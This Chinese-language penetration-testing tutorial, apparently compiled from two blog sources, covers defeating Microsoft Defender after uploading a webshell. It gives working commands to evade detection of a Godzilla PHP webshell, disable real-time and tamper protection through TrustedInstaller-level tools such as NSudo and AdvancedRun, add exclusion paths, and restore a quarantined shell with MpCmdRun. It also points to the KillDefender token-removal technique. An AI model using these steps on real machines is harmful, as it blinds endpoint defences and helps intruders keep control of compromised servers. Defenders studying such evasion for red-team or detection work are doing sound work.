Windows defender 介绍
Microsoft Defender 防病毒软件在 Windows 10 和 Windows 11 以及 Windows Server 版本中可用。 Microsoft Defender 防病毒软件是 Microsoft Defender for Endpoint 中下一代保护的主要组件。这种保护将机器学习、大数据分析、深入的威胁防御研究和 Microsoft 云基础设施结合在一起,以保护您组织中的设备(或端点)。Microsoft Defender 防病毒软件内置于 Windows 中,它与 Microsoft Defender for Endpoint 配合使用,为你的设备和云提供保护。
Windows defender 环境
版本
面板查看:依次选择Windows Security
->Settings
->About
,Antimalware Client Verions
为Windows Defender版本
命令行查看:
dir "C:\ProgramData\Microsoft\Windows Defender\Platform\" /od /ad /b
查看已存在的查杀排除列表
1.通过面板查看
依次选择Windows Security
->Virus & theat protection settings
->Add or remove exclusions
2.通过命令行查看
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s
3.通过Powershell查看
Get-MpPreference | select ExclusionPath
Windows Server 系统环境
-
用户:Administrator
-
版本:Windows Server 2019
补丁
systeminfo 信息
事前准备
在实战环境中,首先需要上传webshell,所以在此必须免杀webshell
web环境:phpstudy 8.1.1.3 + apache 2.4.39 + php 7.3.4
哥斯拉 webshell 免杀
工具地址:GitHub - BeichenDream/Godzilla: 哥斯拉 经过测试,用Godzilla自带的PHP_XOR_BASE64
加密器即可免杀(php一句话直接杀)
生成 PHP_XOR_BASE64 webshell
静态免杀测试
连接webshell
动态免杀测试
关闭 Windows defender
TrustedInstaller
TrustedInstaller是从Windows Vista开始出现的一个内置安全主体,在Windows中拥有修改系统文件权限,本身是一个服务,以一个账户组的形式出现。 它的全名是:NT SERVICE\TrustedInstaller
那么为什么要获取TrustedInstaller权限?
说白了就是因为Administratior权限和system权限的cmd无法关闭Windows defender(powershell可以)
怎样获取TrustedInstaller权限
可参考文章《渗透技巧——Token窃取与利用》
也可以借助下面的几个工具实现
注意:以下工具和技巧皆需要Administratior权限或者system权限才能成功使用
Tamper Protection
篡改保护
参考资料: Protect security settings with tamper protection | Microsoft Learn
当开启Tamper Protection时,用户将无法通过注册表、Powershell和组策略修改Windows Defender的配置
开启Tamper Protection的方法:
依次选择Windows Security
->Virus & theat protection settings
,启用Tamper Protection
该操作对应的cmd命令:reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /d 5 /t REG_DWORD /f
关闭Tamper Protection的方法:
依次选择Windows Security
->Virus & theat protection settings
,禁用Tamper Protection
该操作对应的cmd命令:reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /d 4 /t REG_DWORD /f
,当然,我们无法通过修改注册表的方式去设置Tamper Protection,只能通过面板进行修改
查看Tamper Protection的状态:
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection"
返回结果中的数值5
代表开启,数值4
代表关闭
基础命令介绍
cmd
#查看排除项 reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s #查看版本 dir "C:\ProgramData\Microsoft\Windows Defender\Platform\" /od /ad /b #查看篡改保护(返回结果中的 数值5代表开启,数值4代表关闭) reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" #需要TrustedInstaller权限 ##cmd注册表关闭Windows defender reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f ##cmd关闭篡改保护 NSudoLG.exe -U:T cmd /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /d 4 /t REG_DWORD /f" ##cmd注册表恢复Windows defender reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 0 /f ##cmd添加Windows defender排除项 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "c:\temp" /d 0 /t REG_DWORD /f
powershell
#查看排除项 Get-MpPreference | select ExclusionPath #关闭Windows defender Set-MpPreference -DisableRealTimeMonitoring $true #增加排除项 Add-MpPreference -ExclusionPath "c:\temp" #删除排除项 Remove-MpPreference -ExclusionPath "C:\test" #关闭实时保护 Set-MpPreference -DisableRealtimeMonitoring $true 注:新版本的Windows已经不再适用
NSudoLG
工具地址:GitHub - M2TeamArchived/NSudo: [Deprecated, work in progress alternative: https://github.com/M2Team/NanaRun] Series of System Administration Tools 下载后使用:D:\Documents\NSudo_8.2_All_Components\NSudo Launcher\x64\NSudoLG.exe
免杀测试
使用方法
注意:此工具的 -U:T 参数是获取了 TrustedInstaller 权限
#cmd注册表关闭Windows defender reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f #cmd注册表恢复Windows defender reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 0 /f #cmd添加Windows defender排除项 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "c:\temp" /d 0 /t REG_DWORD /f #NSudoLG.exe关闭Windows defender NSudoLG.exe -U:T cmd /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f" #NSudoLG.exe恢复Windows defender NSudoLG.exe -U:T cmd /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 0 /f" #NSudoLG.exe添加Windows defender排除项 NSudoLG.exe -U:T cmd /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "c:\temp" /d 0 /t REG_DWORD /f"
powershell成功上线
AdvancedRun
地址:AdvancedRun - Run a Windows program with different settings
免杀测试
使用方法
AdvancedRun.exe /EXEFilename "%windir%\system32\cmd.exe" /CommandLine '/c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /d 1 /t REG_DWORD /f' /RunAs 8 /Run
powershell成功上线
StopDefender
Github地址:GitHub - lab52io/StopDefender: Stop Windows Defender programmatically
免杀测试
使用方法
StopDefender_x64.exe
powershell成功上线
powershell
注:新版本的Windows已经不再适用
#查看排除项 Get-MpPreference | select ExclusionPath #关闭Windows defender Set-MpPreference -DisableRealTimeMonitoring $true #增加排除项 Add-MpPreference -ExclusionPath "c:\temp" #删除排除项 Remove-MpPreference -ExclusionPath "C:\test"
关闭 Windows defender
关闭 实时保护
Set-MpPreference -DisableRealtimeMonitoring $true
其他技巧
添加查杀排除列表
1.通过面板添加
依次选择Windows Security
->Virus & theat protection settings
->Add or remove exclusions
,选择Add an exclusion
,指定类型
该操作等价于修改注册表HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\
的键值,具体位置如下:
-
类型File对应注册表项Paths
-
类型Folder对应注册表项Paths
-
类型File type对应注册表项Extensions
-
类型Process对应注册表项Processes
2.通过命令行添加
利用条件:
-
需要TrustedInstaller权限
cmd命令示例:
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "c:\test" /d 0 /t REG_DWORD /f
3.通过Powershell添加
利用条件:
-
需要管理员权限
参考资料:
Add-MpPreference (Defender) | Microsoft Learn
Powershell命令示例:
Add-MpPreference -ExclusionPath "C:\test"
补充:删除排除列表
Remove-MpPreference -ExclusionPath "C:\test"
MpCmdRun恢复被隔离的文件
MpCmdRun介绍
配置和管理 Microsoft Defender 防病毒软件的命令行工具
详情
Use the command line to manage Microsoft Defender Antivirus | Microsoft Learn
寻找MpCmdRun位置
MpCmdRun的位置为: C:\ProgramData\Microsoft\Windows Defender\Platform\<antimalware platform version>
#查看版本(查看<antimalware platform version>) dir "C:\ProgramData\Microsoft\Windows Defender\Platform\" /od /ad /b #验证 dir "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2210.6-0\" | findstr MpCmdRun
基础命令
#查看被隔离的文件列表 MpCmdRun -Restore -ListAll #恢复指定名称的文件至原目录 MpCmdRun -Restore -FilePath C:\phpstudy_pro\WWW\shell.php #恢复所有文件至原目录 MpCmdRun -Restore -All #查看指定路径是否位于排除列表中 MpCmdRun -CheckExclusion -path C:\phpstudy_pro\WWW\
移除Token导致Windows Defender失效
学习地址:
简单理解:
-
Windows Defender进程为MsMpEng.exe
-
MsMpEng.exe是一个受保护的进程(Protected Process Light,简写为PPL)
-
非PPL进程无法获取PPL进程的句柄,导致我们无法直接结束PPL进程MsMpEng.exe
-
但是我们能够以SYSTEM权限运行的线程修改进程MsMpEng.exe的token
-
当我们移除进程MsMpEng.exe的所有token后,进程MsMpEng.exe无法访问其他进程的资源,也就无法检测其他进程是否有害,最终导致Windows Defender失效
利用条件:
-
需要System权限
测试如下图
工具地址
GitHub - pwn1sher/KillDefender: A small POC to make defender useless by removing its token privileges and lowering the token integrity GitHub - Octoberfest7/KillDefender: A small (Edited) POC to make defender useless by removing its token privileges and lowering the token integrity GitHub - Octoberfest7/KDStab: BOF combination of KillDefender and Backstab
原文地址:
https://xz.aliyun.com/t/12280
https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-Windows-Defender